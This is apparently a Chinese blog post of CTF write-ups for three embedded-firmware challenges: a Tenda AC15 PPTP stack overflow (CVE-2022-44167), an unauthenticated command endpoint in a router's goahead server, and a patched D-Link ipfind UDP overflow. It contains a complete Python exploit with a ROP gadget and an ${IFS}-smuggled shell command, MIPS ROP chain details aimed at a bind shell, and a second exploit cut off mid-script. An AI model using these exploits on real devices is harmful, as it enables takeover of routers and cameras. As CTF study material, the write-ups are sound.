HWS 2021 冬令营选拔赛 | blingbling’s blog (blingblingxuanxuan.github.io)

RWCTF 5th Shellfind复现 - SecPulse.COM | 安全脉搏

RWCTF 5th ShellFind分析 - 先知社区 (aliyun.com)

这几题应该比较有概括性

HITCTF2023-router

要是复现过Tenda AC15的漏洞的话,打开httpd应该一眼能够认出来这个就是TendaAc15的固件

这里选择CVE-2022-44167,但是这个cve网上没找到公开的poc,但我们可以自己分析

可以知道这个漏洞是formSetPPTPServer函数中存在一个栈溢出漏洞,注意到

1
2
if ( sscanf(v20, "%[^.].%[^.].%[^.].%s", v13, v14, v15, &v15[8]) != 4
|| sscanf(v19, "%[^.].%[^.].%[^.].%s", &v9, &v10, &v11, v12) != 4 )

这段代码本意是将输入的点分十进制的 ip 地址按点分隔开将字符串写到栈上。

但也可以看到其并没有对长度进行检查,这显然是极其危险的

向上追溯可以看到

1
2
v20 = (char *)sub_2B794(a1, "startIp", &unk_EFE14);
v19 = (char *)sub_2B794(a1, "endIp", &unk_EFE14);

sub_2B794函数大致是在参数a1中寻找字符串startIp

那么如何调用到这个函数呢,向上追溯,发现了这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sub_16EF4("SetPptpServerCfg", formSetPPTPServer);

sub_176B0(&unk_D8894, 0, 0, R7WebsSecurityHandler, 1);
sub_176B0("/goform", 0, 0, websFormHandler, 0);
sub_176B0("/cgi-bin", 0, 0, webs_Tenda_CGI_BIN_Handler, 0);
sub_176B0(&unk_D8894, 0, 0, websDefaultHandler, 2);
sub_41F18();
sub_176B0("/", 0, 0, sub_2E9D8, 0);
return 0;
}
else
{
printf("%s %d: websOpenServer failed\n", "initWebs", 499);
return -1;
}

再往上追溯一两层就能知道这是cgi处理部分

也就是说访问这样的url/goform/SetPptpServerCfg?img/main.logo.png就能触发函数了

调试时注意到,当 formSetPPTPServer 返回时,寄存器 r5 的值是指向 /goform/SetPptpServerCfg? img/main-logo.png

这一字符串的地址。我们可以在 url 后面接上其他内容。即这一字符串是我们可控 的。我们找到一条这样的gadget:

0x000cd1ac: mov r0, r5; add sp, sp, #0x8c pop {r4, r5, r6, r7, r8, sb, sl, fp, pc};

可以将 r5 寄存器的值赋给 r0, 并控制 system@plt . pc 寄存器使其跳转到 因此我们要做的事情就是:在 url 尾部插入我们要执行的命令,构造 startIp 以产生溢出,通过两次溢出 来写两个我们需要的地址。

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
from pwn import *
from time import sleep
# 0x000cd1ac: mov r0, r5; add sp, sp, #0x8c pop {r4, r5, r6, r7, r8, sb, sl, fp, pc};
gadget_addr = 0x000cd1ac
system_plt = 0x0000eb18
payload_v16 = b'a'*0x184 + b'b'*4 + b'c'*0x8c + b'd'*4*8 + b'\x18\xeb'
payload_v17 = b'a'*0x17c + b'\xac\xd1\x0c'
cmd = "mkdir /webroot;cat /root/flag>/webroot/favicon.ico".replace(" ", "${IFS}")
paramdata = {
"startIp": b'.'.join([payload_v16, payload_v17]),
"endIp": b'1.1.1.1'
}
print(paramdata)
host = "localhost"
port = 80
path = f"/goform/SetPptpServerCfg?img/main-logo.png;{cmd}"
url = f"http://{host}:{port}{path}"
http_header = f"""POST {path} HTTP/1.1 \r
HOST: {host}:{port}\r
Pragma: no-cache\r
Cache-Control: no-cache\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/116.0.0.0 Safari/537.36\r
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close\r
\r
""".encode()
http_body = b"startIp=" + paramdata["startIp"] + b"&endIp=" + paramdata["endIp"]
io = remote(host, port)
io.send(http_header + http_body)
# wait for httpd re-open
sleep(20)
r = requests.get(f"http://{host}:{port}/favicon.ico")
print(r.text)

插入的命令是mkdir${IFS}/webroot;cat${IFS}/root/flag>/webroot/favicon.ico 。这段命令向 /webroot/favicon.ico 中写入 flag ,之后访问 http://host:port/favicon.ico 就可以拿到 flag

HWS2021冬令营选拔赛-blinkblink

因为没有远程的环境,自己模拟好像有点问题,于是远程测试这部分直接cv大佬的

nc连上给的ip

img

浏览器打开

img

尝试登陆,查看网页文件源码

img

发现getinfo.js中有url,尝试访问

img

有返回值

img

该js中有144个url

img

那么接下来就是根据以上这些信息前往固件包中查找信息了

使用binwak对文件进行解包,找到了上面的两个文件

1
2
3
4
5
find ./ -type f  -name "login.asp"
./etc_ro/web/login.asp

find ./ -type f -name "getinfo.js"
./etc_ro/web/admin/js/getinfo.js

同时也能够找到版本信息

1
WR-432-300M-28N-S-ZH,2.4.7

不过去官网看了一下,官网不提供过往版本的固件,要不然其实也可以通过下载相近版本固件进行比较

再进行字符串查找,就查找之前那些url

1
2
3
4
5
grep -r "set_qos_cfg"
匹配到二进制文件 bin/goahead
etc_ro/web/admin/js/getinfo.js: url: '/goform/set_qos_cfg',
etc_ro/web/admin/js/getinfo.js: url: '/goform/set_qos_cfg',
etc_ro/web/admin/js/getinfo.js: url: '/goform/set_qos_cfg',

找到了二进制文件goahead

之后直接浏览器搜索就能知道这是一个嵌入式web服务器

ida打开进行分析,搜索刚刚的字符串

找到如下引用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __fastcall sub_453E58(int a1)
{
int String; // $v0
int Object; // $s0
int v4; // $v0
int v5; // $v0
int v6; // $v0
int v7; // $v0
int v9; // [sp+14h] [-1BCh]
int v10; // [sp+1Ch] [-1B4h]
int v11; // [sp+20h] [-1B0h]
char v12[400]; // [sp+30h] [-1A0h] BYREF
int Var; // [sp+1C0h] [-10h]
int v14; // [sp+1C4h] [-Ch]
char *v15; // [sp+1C8h] [-8h]

v15 = "get_remotemanage_info";
Var = websGetVar(a1, &off_46B66C, "");
v14 = websGetVar(a1, "IP", "");
v10 = websGetVar(a1, "Up_Speed", "");
v11 = websGetVar(a1, "Dl_Speed", "");
bl_print(3, "CGI_json.c", "set_qos_cfg", 2391);
Object = cJSON_CreateObject();
String = cJSON_CreateString("setqos");
cJSON_AddItemToObject(Object, "type", String);
v4 = cJSON_CreateString(Var);
cJSON_AddItemToObject(Object, 4634220, v4);
v5 = cJSON_CreateString(v14);
cJSON_AddItemToObject(Object, "IP", v5);
v6 = cJSON_CreateString(v10);
cJSON_AddItemToObject(Object, "Up_Speed", v6);
v7 = cJSON_CreateString(v11);
cJSON_AddItemToObject(Object, "Dl_Speed", v7);
v9 = cJSON_PrintUnformatted(Object);
bl_print(3, "CGI_json.c", "set_qos_cfg", 2400);
bs_SetQosInfo(v9, v12);
websResponse(a1, 200, v12, 0);
free(v9);
return cJSON_Delete(Object);
}

再然后继续向上找引用,会找到一个定义大多数方法的函数

然后发现这里的方法引用比之前观察到的更多

找到一个看起来就有古怪的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 websFormDefine("set_cmd", sub_44D41C);

int __fastcall sub_44D41C(int a1)
{
int Var; // $s5
int String; // $v0
int Object; // $s0
int v5; // $v0
int v6; // $s2
char v8[8200]; // [sp+20h] [-2008h] BYREF

Var = websGetVar(a1, "cmd", "");
bl_print(3, "CGI_json.c", "set_cmd", 3968);
Object = cJSON_CreateObject();
String = cJSON_CreateString("setcmd");
cJSON_AddItemToObject(Object, "type", String);
v5 = cJSON_CreateString(Var);
cJSON_AddItemToObject(Object, "cmd", v5);
v6 = cJSON_PrintUnformatted(Object);
memset(v8, 0, 8196);
bs_SetCmd(v6, v8);
bl_print(3, "CGI_json.c", "set_cmd", 3976);
websResponse(a1, 200, v8, 0);
free(v6);
return cJSON_Delete(Object);
}

看到这个函数bs_SetCmd(v6, v8);

找到其被定义在libshare-0.0.26.so

1
2
3
grep -r "bs_SetCmd"
匹配到二进制文件 bin/goahead
匹配到二进制文件 lib/libshare-0.0.26.so

看其定义

1
2
3
4
5
6
7
8
9
10
 .....
}
v11 = cJSON_GetObjectItem(v4, "cmd");
if ( v11 )
{
memset(v21, 0, sizeof(v21));
strcpy(v21, *(_DWORD *)(v11 + 16));
sprintf(v23, &off_4F2CC, v21);
v14 = popen(v23, "r");
....

发现其会直接获取cmd的键并直接执行,尝试访问

RWCTF5th-shellfind

拿到手的是一个常见的bin固件包,相比于常规pwn题单一的二进制而言,我们首先要做的是寻找漏洞文件

这里有三种情况

  1. 这个固件存在0day漏洞,但一般不会这么干.0.
  2. 固件存在已公布的cve
  3. 出题人自己修改导致漏洞

这题应该是第三种情况,然后漏洞也搜索了一下,找到了一个CVE-2019-17146但在这个固件包中是已经修复的了

最新的固件下载链接:https://www.dlinktw.com.tw/techsupport/ProductInfo.aspx?m=DCS-960L

下载之后直接diff比较一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
diff -r shellfind/ offcial/
diff: shellfind/etc/hosts: 没有那个文件或目录
diff: offcial/etc/hosts: 没有那个文件或目录
diff: shellfind/etc/passwd: 没有那个文件或目录
diff: offcial/etc/passwd: 没有那个文件或目录
diff: shellfind/etc/ppp: 没有那个文件或目录
diff: offcial/etc/ppp: 没有那个文件或目录
diff: shellfind/etc/resolv.conf: 没有那个文件或目录
diff: offcial/etc/resolv.conf: 没有那个文件或目录
diff: shellfind/etc/simplecfg: 没有那个文件或目录
diff: offcial/etc/simplecfg: 没有那个文件或目录
diff: shellfind/etc/stunnel/stunnel.conf: 没有那个文件或目录
diff: offcial/etc/stunnel/stunnel.conf: 没有那个文件或目录
diff: shellfind/etc/stunnel/stunnel-smtps.conf: 没有那个文件或目录
diff: offcial/etc/stunnel/stunnel-smtps.conf: 没有那个文件或目录
diff: shellfind/etc/stunnel/stunnel-smtps-test.conf: 没有那个文件或目录
diff: offcial/etc/stunnel/stunnel-smtps-test.conf: 没有那个文件或目录
diff: shellfind/etc/TZ: 没有那个文件或目录
diff: offcial/etc/TZ: 没有那个文件或目录
diff: shellfind/etc/Wireless/RTL8192CD.dat: 没有那个文件或目录
diff: offcial/etc/Wireless/RTL8192CD.dat: 没有那个文件或目录
diff: shellfind/tmp: 没有那个文件或目录
diff: offcial/tmp: 没有那个文件或目录
二进制文件 shellfind/usr/sbin/ipfind 和 offcial/usr/sbin/ipfind 不同
diff: shellfind/web/cgi-bin/cgi/admin/ptcmd.cgi: 没有那个文件或目录
diff: offcial/web/cgi-bin/cgi/admin/ptcmd.cgi: 没有那个文件或目录
diff: shellfind/web/cgi-bin/cgi/admin/ptctl.cgi: 没有那个文件或目录
diff: offcial/web/cgi-bin/cgi/admin/ptctl.cgi: 没有那个文件或目录

可以看到出题人应该是修改了ipfind二进制文件

然后bindiff分析一下,发现

点进去看看,果然被出题人打过patch

不过光看此处并不能看出什么东西来,深入分析一下二进制文件ipfind

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // $v0
bool v4; // dc
fd_set *v5; // $v0
int v6; // $a0
int v7; // $s7
int v8; // $fp
int v9; // [sp+20h] [-8E8h] BYREF
int v10; // [sp+24h] [-8E4h] BYREF
int v11; // [sp+28h] [-8E0h] BYREF
struct sockaddr v12; // [sp+2Ch] [-8DCh] BYREF
char v13[32]; // [sp+3Ch] [-8CCh] BYREF
fd_set v14; // [sp+5Ch] [-8ACh] BYREF
_DWORD v15[512]; // [sp+DCh] [-82Ch] BYREF
char v16; // [sp+8DCh] [-2Ch] BYREF
unsigned int v17; // [sp+8E8h] [-20h]
char *v18; // [sp+8ECh] [-1Ch]
socklen_t *addr_len; // [sp+8F0h] [-18h]
char *v20; // [sp+8F4h] [-14h]
void *v21; // [sp+8F8h] [-10h]
void *v22; // [sp+8FCh] [-Ch]
void *v23; // [sp+900h] [-8h]

v9 = 1;
v10 = 1;
v11 = 0;
if ( argc >= 2 )
{
ifname = (int)argv[1];
v4 = sub_401120() < 0;
result = 0;
if ( !v4 )
{
sub_401240();
server_sockfd = socket(2, 1, 17);
if ( server_sockfd == -1 )
{
sub_4013D0("Can't get server socket\n");
return -1;
}
else
{
v12.sa_family = 2;
memset(&v12.sa_data[2], 0, 12);
*(_WORD *)v12.sa_data = -2816;
strncpy(v13, (const char *)ifname, 0x10u);
if ( setsockopt(server_sockfd, 0xFFFF, 25, v13, 0x20u) >= 0 )
{
if ( setsockopt(server_sockfd, 0xFFFF, 32, &v9, 4u) >= 0 )
{
if ( setsockopt(server_sockfd, 0xFFFF, 4, &v10, 4u) >= 0 )
{
if ( bind(server_sockfd, &v12, 0x10u) >= 0 )
{
sub_4013D0("IPFind start(%s)...\n", (const char *)ifname);
v18 = (char *)v15;
v21 = (char *)&v15[4] + 1;
addr_len = (socklen_t *)&v11;
v20 = "FIVI";
v22 = &v16;
v23 = &unk_402E90;
while ( 1 )
{
v5 = &v14;
if ( dword_413168 )
break;
do
{
v5->__fds_bits[0] = 0;
v5 = (fd_set *)((char *)v5 + 4);
}
while ( v5 != (fd_set *)v15 );
v6 = server_sockfd;
v14.__fds_bits[(unsigned int)server_sockfd >> 5] |= 1 << server_sockfd;
if ( select(v6 + 1, &v14, 0, 0, 0) >= 0 )
{
if ( ((v14.__fds_bits[(unsigned int)server_sockfd >> 5] >> server_sockfd) & 1) != 0 )
{
v11 = 16;
memset(v15, 0, sizeof(v15));
recvfrom(server_sockfd, v15, 0x800u, 0, (struct sockaddr *)&client_addr, addr_len);
v15[1] = (v15[1] << 24) | HIBYTE(v15[1]) | ((v15[1] & 0xFF0000u) >> 8) | ((v15[1] & 0xFF00) << 8);
v7 = (unsigned __int16)((_byteswap_ushort(*(unsigned __int16 *)((char *)&v15[2] + 1)) << 8) | ((unsigned int)(BYTE2(v15[2]) | (BYTE1(v15[2]) << 8)) >> 8));
*(_WORD *)((char *)&v15[2] + 1) = v7;
*(_WORD *)((char *)&v15[2] + 3) = (_byteswap_ushort(*(unsigned __int16 *)((char *)&v15[2] + 3)) << 8) | ((unsigned int)(HIBYTE(v15[3]) | (LOBYTE(v15[2]) << 8)) >> 8);
v8 = (unsigned __int16)((_byteswap_ushort(*(unsigned __int16 *)((char *)&v15[5] + 3)) << 8) | ((unsigned int)(HIBYTE(v15[6]) | (LOBYTE(v15[5]) << 8)) >> 8));
*(_WORD *)((char *)&v15[5] + 3) = v8;
v17 = (*(_DWORD *)((char *)&v15[6] + 1) << 24) | HIBYTE(*(_DWORD *)((char *)&v15[6] + 1)) | ((*(_DWORD *)((char *)&v15[6] + 1) & 0xFF0000u) >> 8) | ((*(_DWORD *)((char *)&v15[6] + 1) & 0xFF00) << 8);
*(_DWORD *)((char *)&v15[6] + 1) = v17;
if ( !strncmp(v18, v20, 4u) && HIBYTE(v15[2]) == 10 )
{
if ( v7 == 1 )
{
if ( !v8 && !memcmp(v21, v23, 6u) && !v17 )
sub_40172C(v15);
}
else if ( v7 == 2
&& net_get_hwaddr(ifname, v22) >= 0
&& !memcmp(v21, v22, 6u)
&& *(_DWORD *)((char *)&v15[6] + 1) == 142 )
{
sub_4013F4(v15, 142);
}
}
}
}
else if ( *_errno_location() != 4 )
{
break;
}
}
sub_402198(ifname);
return 0;
}
else
{
sub_4013D0("bind port(%d) error\n", 62720);
return -1;
}
}
else
{
sub_4013D0("setsockopt SO_REUSEADDR failed\n");
return -1;
}
}
else
{
sub_4013D0("setsockopt SO_BROADCAST failed\n");
return -1;
}
}
else
{
sub_4013D0("setsockopt SO_BINDTODEVICE failed\n");
return -1;
}
}
}
}
else
{
sub_4013D0("Invaild ifname\n", argv, envp);
return -1;
}
return result;
}

main函数的报错信息可以帮助我们很好的理解这个程序在做什么

首先是根据网络接口名称打开一个/var/run/目录下的文件,要求能够正确打开文件

然后注册信号处理函数并创建创建一个udp的socket

1
2
3
4
5
6
7
8
9
10
11
12
v12.sa_family = 2;
memset(&v12.sa_data[2], 0, 12);
*v12.sa_data = 62720;
strncpy(v13, ifname, 0x10u);
if ( setsockopt(server_sockfd, 0xFFFF, 25, v13, 0x20u) >= 0 )
{
if ( setsockopt(server_sockfd, 0xFFFF, 32, &v9, 4u) >= 0 )
{
if ( setsockopt(server_sockfd, 0xFFFF, 4, &v10, 4u) >= 0 )
{
if ( bind(server_sockfd, &v12, 0x10u) >= 0 )
{

sa_family为2代表是udp,sa_data=62720则代表要绑定到62720端口上

如果绑定成功就到了最核心的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
sub_4013D0("IPFind start(%s)...\n", ifname);
v18 = user_data;
v21 = &user_data[17];
addr_len = &v11;
v20 = "FIVI";
v22 = &v16;
v23 = &unk_402E90;
while ( 1 )
{
v5 = &v14;
if ( dword_413168 )
break;
do
{
*v5 = 0;
v5 += 4;
}
while ( v5 != user_data );
v6 = server_sockfd;
v14.__fds_bits[server_sockfd >> 5] |= 1 << server_sockfd;
if ( select(v6 + 1, &v14, 0, 0, 0) >= 0 )
{
if ( ((v14.__fds_bits[server_sockfd >> 5] >> server_sockfd) & 1) != 0 )
{
v11 = 16;
memset(user_data, 0, 0x800u);
recvfrom(server_sockfd, user_data, 0x800u, 0, &client_addr, addr_len);
*&user_data[4] = (*&user_data[4] << 24) | user_data[4] | ((*&user_data[4] & 0xFF0000u) >> 8) | ((*&user_data[4] & 0xFF00) << 8);
v7 = ((_byteswap_ushort(*&user_data[9]) << 8) | ((user_data[10] | (user_data[9] << 8)) >> 8));
*&user_data[9] = v7;
*&user_data[11] = (_byteswap_ushort(*&user_data[11]) << 8) | ((user_data[12] | (user_data[11] << 8)) >> 8);
v8 = ((_byteswap_ushort(*&user_data[23]) << 8) | ((user_data[24] | (user_data[23] << 8)) >> 8));
*&user_data[23] = v8;
v17 = (*&user_data[25] << 24) | user_data[25] | ((*&user_data[25] & 0xFF0000u) >> 8) | ((*&user_data[25] & 0xFF00) << 8);
*&user_data[25] = v17;
if ( !strncmp(v18, v20, 4u) && user_data[8] == 10 )
{
if ( v7 == 1 )
{
if ( !v8 && !memcmp(v21, v23, 6u) && !v17 )
sub_40172C(user_data);
}
else if ( v7 == 2
&& net_get_hwaddr(ifname, v22) >= 0
&& !memcmp(v21, v22, 6u)
&& *&user_data[25] == 142 )
{
sub_4013F4(user_data, 142);
}
}
}
}

我们的目标显然要是进入sub_40172c函数,分析一下流程

其首先会接受最大0x800长度的数据,那么需要满足的条件就是

  1. !strncmp(v18, v20, 4u)v18和v20要相等,v20是FIVI,v18是user_data起始的数据,所以第一步user_data = 'FIVI'

  2. user_data[8] == 10,第9个数要为'\n',所以user_data = 'FIVI' + '\x00\x00\x00\x00' + '\n'

  3. v7 == 1需要满足下式为1

    v7 = (unsigned __int16)((_byteswap_ushort(*(unsigned __int16 *)((char *)&v15[2] + 1)) << 8) | ((unsigned int)(BYTE2(v15[2]) | (BYTE1(v15[2]) << 8)) >> 8));

    当user_data[9] = 0x1,user_data[10] = 0的时候满足这个条件

  4. !memcmp(v21, v23, 6u),v21和v23要相等,v23是0xff * 6,这里其实就是mac_addr

  5. !v8,v8要为0

    即下式为0v8 = (unsigned __int16)((_byteswap_ushort(*(unsigned __int16 *)((char *)&v15[5] + 3)) << 8) | ((unsigned int)(HIBYTE(v15[6]) | (LOBYTE(v15[5]) << 8)) >> 8));

  6. !v17,v17要为0,即v17 = (*(_DWORD *)((char *)&v15[6] + 1) << 24) | HIBYTE(*(_DWORD *)((char *)&v15[6] + 1)) | ((*(_DWORD *)((char *)&v15[6] + 1) & 0xFF0000u) >> 8) | ((*(_DWORD *)((char *)&v15[6] + 1) & 0xFF00) << 8);要为0

综上,进入sub_40172c的报头是

1
2
3
4
5
6
7
8
p1 = b'FIVI'
p1 += b'\x00\x00\x00\x00'
p1 += b'\n'
p1 += b'\x01\x00'
p1 += b'\x00\x00\x00\x00\x00\x00'
p1 += b'\xff' * 6
p1 += b'\x00\x00'
p1 += b'\x00'

继续分析40172c函数,这个函数会获取设备的基本信息,其中便包括mac地址

对比patch前后,差别在于原版本中有这么一句

1
2
v3 = inet_ntoa((struct in_addr)dword_413174);
dword_413174 = inet_addr("255.255.255.255");

使得dword_413174被赋值了,但在之前的主函数我们看到,这个全局变量如果不为0,皆会直接退出

也就是使得这个函数不可被执行第二次,而现在其被patch了,那么也就是说main函数可以被访问多次

根据这一点我们可以猜想出题人应该是希望再一次执行main函数进入另一个分支的,也就是sub_4013F4

重复之前的分析流程,可以知道进入这个分支的条件是,mac就来自于之前接收到的mac地址

1
2
3
4
5
6
7
8
p2 = b'FIVI'
p2 += b'\x00\x00\x00\x00'
p2 += b'\n'
p2 += b'\x02\x00'
p2 += b'\x00\x00\x00\x00\x00\x00'
p2 += mac
p2 += b'\x00\x00'
p2 += b'\x8E'

漏洞点发生在400f50这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __fastcall sub_400F50(int a1, int a2)
{
int Group; // $s1
int Pass; // $s0
char v6[256]; // [sp+18h] [-344h] BYREF
char v7[256]; // [sp+118h] [-244h] BYREF
char v8[256]; // [sp+218h] [-144h] BYREF
char v9[68]; // [sp+318h] [-44h] BYREF

memset(v9, 0, 64);
Base64decs(a1, v6);
Base64decs(a2, v7);
cfgRead("USER_ADMIN", "Username1", v9);
usrInit(0);
Group = usrGetGroup(v6);
Pass = usrGetPass(v6, v8, 256);
if ( Pass == 1 )
{
if ( !Group && !strcmp(v9, v6) )
Pass = strcmp(v7, v8) != 0;
}
else
{
Pass = -1;
}
usrFree();
return Pass;
}

在第二个Base64decs(a2, v7);中,会对a2进行base64解码,然后将解码之后的数据存到v7中,a2 = p2 + 0x5d,也就是0x5d后面的数据会进行base64decode到v7中,p2可控,这就造成了栈溢出漏洞

那么就可以开始利用了,选择ret2shellcode,程序虽然没有任何保护机制,aslr应该也是关闭的,不过就算不变我们也没办法获得,所以需要想办法在ipfind中寻找gadget

在跳转之前需要注意一个gp寄存器,gp寄存器它的值被用来定位静态数据区域,所以要保证gp寄存器不会出错

以strcmp函数为例,在ida中按住alt+G切换到gp,就能看到

.text:00401040 8F 99 80 64 lw $t9, (strcmp_ptr - 0x41B030)($gp)

结合

.got:00413094 00 41 31 CC strcmp_ptr:.word strcmp

得到gp应该为7f9c+413094=41b030,这个是固定的

下面这个gadgets执行完毕之后会调用close清空a0, a1, a2,为得是不影响后一个gadgets的使用,并且可以控制gp和ra

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:004020A4 8F BC 00 18                   lw      $gp, 0x7C+var_64($sp)
.text:004020A8 8F 99 80 38 la $t9, close
.text:004020AC 03 20 F8 09 jalr $t9 ; close
.text:004020B0 02 00 20 21 move $a0, $s0 # fd
.text:004020B0
.text:004020B4
.text:004020B4 loc_4020B4: # CODE XREF: sub_401DF4+1AC↑j
.text:004020B4 # sub_401DF4+238↑j
.text:004020B4 # sub_401DF4+284↑j
.text:004020B4 8F BF 00 84 lw $ra, 0x7C+var_s8($sp)
.text:004020B8 8F B1 00 80 lw $s1, 0x7C+var_s4($sp)
.text:004020BC 8F B0 00 7C lw $s0, 0x7C+var_s0($sp)
.text:004020C0 03 E0 00 08 jr $ra
.text:004020C4 27 BD 00 88 addiu $sp, 0x88

接着控制ra为下一个gadgets的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.text:00401F98 0C 10 04 F4                   jal     my_puts
.text:00401F9C 24 84 2C F8 li $a0, aCanTGetHelloSo # "Can't get hello socket\n"
.text:00401F9C
.text:00401FA0 10 00 00 44 b loc_4020B4
.text:00401FA4 00 00 00 00 nop

my_puts
.text:004013D0 addiu $sp, -0x10
.text:004013D4 sw $a1, 0x10+arg_4($sp)
.text:004013D8 sw $a2, 0x10+arg_8($sp)
.text:004013DC sw $a3, 0x10+arg_C($sp)
.text:004013E0 addiu $v0, $sp, 0x10+arg_4
.text:004013E4 sw $v0, 0x10+var_8($sp)
.text:004013E8 addiu $sp, 0x10
.text:004013EC jr $ra
.text:004013F0 nop

loc_4020B4
.text:004020B4 8F BF 00 84 lw $ra, 0x7C+var_s8($sp)
.text:004020B8 8F B1 00 80 lw $s1, 0x7C+var_s4($sp)
.text:004020BC 8F B0 00 7C lw $s0, 0x7C+var_s0($sp)
.text:004020C0 03 E0 00 08 jr $ra
.text:004020C4 27 BD 00 88 addiu $sp, 0x88

上面这个gadgets详细说一下,首先是进入my_puts这里

这里addiu $v0, $sp, 0x10+arg_4把栈上的地址给存到了v0中,然后又把v0的值放到了sp + 0x8这里

在4020b4中可以控制s0,这里把s0控制成0x00413200 - 0xd,这是因为下面的gadgets需要用到

然后又到了loc_4020B4这里,这里可以控制$ra,那么就可以继续ROP下去,接着到0x00400C9C这里的gadgets

1
0x00400c9c : lw $gp, 0x10($sp) ; lw $ra, 0x1c($sp) ; jr $ra ; addiu $sp, $sp, 0x20

恢复GP,然后控制ra到0x00400F28

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.text:00400F28 AE 02 00 0D                   sw      $v0, 0xD($s0)
.text:00400F28
.text:00400F2C
.text:00400F2C loc_400F2C: # CODE XREF: sub_400E50+CC↑j
.text:00400F2C 8F 82 80 68 la $v0, ifname
.text:00400F30 8C 44 00 00 lw $a0, (ifname - 0x413138)($v0)
.text:00400F34 8F 99 80 8C la $t9, net_get_hwaddr
.text:00400F38 03 20 F8 09 jalr $t9 ; net_get_hwaddr
.text:00400F3C 26 05 00 11 addiu $a1, $s0, 0x11
.text:00400F3C
.text:00400F40 8F BF 00 24 lw $ra, 0x20+var_s4($sp)
.text:00400F44 8F B0 00 20 lw $s0, 0x20+var_s0($sp)
.text:00400F48 03 E0 00 08 jr $ra
.text:00400F4C 27 BD 00 28 addiu $sp, 0x28

然后这里就需要用到上面的把s0控制成0x00413200 - 0xd,在sw $v0, 0xD($s0)这里是把v0的值放到s0 + 0xd这个位置,这个位置是0x413200是net_get_dns,这样的话net_get_dns这里就是v0,就是栈上的地址了,如果调用net_get_dns的时候就会调用栈上的地址

在gadgets的最后可以控制s0和ra,控制s0为net_get_dns的值也就是栈上的地址,控制ra为0x004027C8

1
2
3
4
5
6
7
8
9
.text:004027C8 lw      $t9, 0($s0)
.text:004027CC bne $t9, $s1, loc_4027C0
.text:004027D0 addiu $s0, -4
.text:004027D0
.text:004027D4 lw $ra, 0x1C+var_s8($sp)
.text:004027D8 lw $s1, 0x1C+var_s4($sp)
.text:004027DC lw $s0, 0x1C+var_s0($sp)
.text:004027E0 jr $ra
.text:004027E4 addiu $sp, 0x28

把栈上的地址放到t9中,会跳到loc_4027C0中执行jalr $t9,执行栈地址上的东西

shellcode可以采用udp_bind_shell

但是在调试的时候会发现跳不到shellcode上,所以在上面的一个地方加上一个跳转指令

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
import socket
from pwn import *
import binascii
import base64

context(os='linux', arch='mips', endian='big', log_level='debug')

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
lg = lambda x : print('\033[32m' + str(x) + '\033[0m')

ip = '192.168.10.108'
port = 62720

r = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
lg('[+] open connection')

p1 = b'FIVI'
p1 += b'\x00\x00\x00\x00'
p1 += b'\n'
p1 += b'\x01\x00'
p1 += b'\x00\x00\x00\x00\x00\x00'
p1 += b'\xff' * 6
p1 += b'\x00\x00'
p1 += b'\x00'

r.sendto(p1, (ip, port))

recv_data, recv_addr = r.recvfrom(1024)

def getmac(mac_addr):
hex_str = binascii.hexlify(mac_addr).decode()
mac_addr = ':'.join([hex_str[i:i+2] for i in range(0, len(hex_str), 2)])
li('[+] mac = ' + str(mac_addr))

if(len(recv_data) == 0x21d):
mac_addr = recv_data[0x11:0x17]
getmac(mac_addr)
else:
ll("[-] recv error")

p2 = b'FIVI'
p2 += b'\x00\x00\x00\x00'
p2 += b'\n'
p2 += b'\x02\x00'
p2 += b'\x00\x00\x00\x00\x00\x00'
p2 += mac_addr
p2 += b'\x00\x00'
p2 += b'\x8E'
p2 = p2.ljust(0x5d, b'\x00')

p3 = b'\x00' * 588
p3 += p32(0x004020A4)
'''
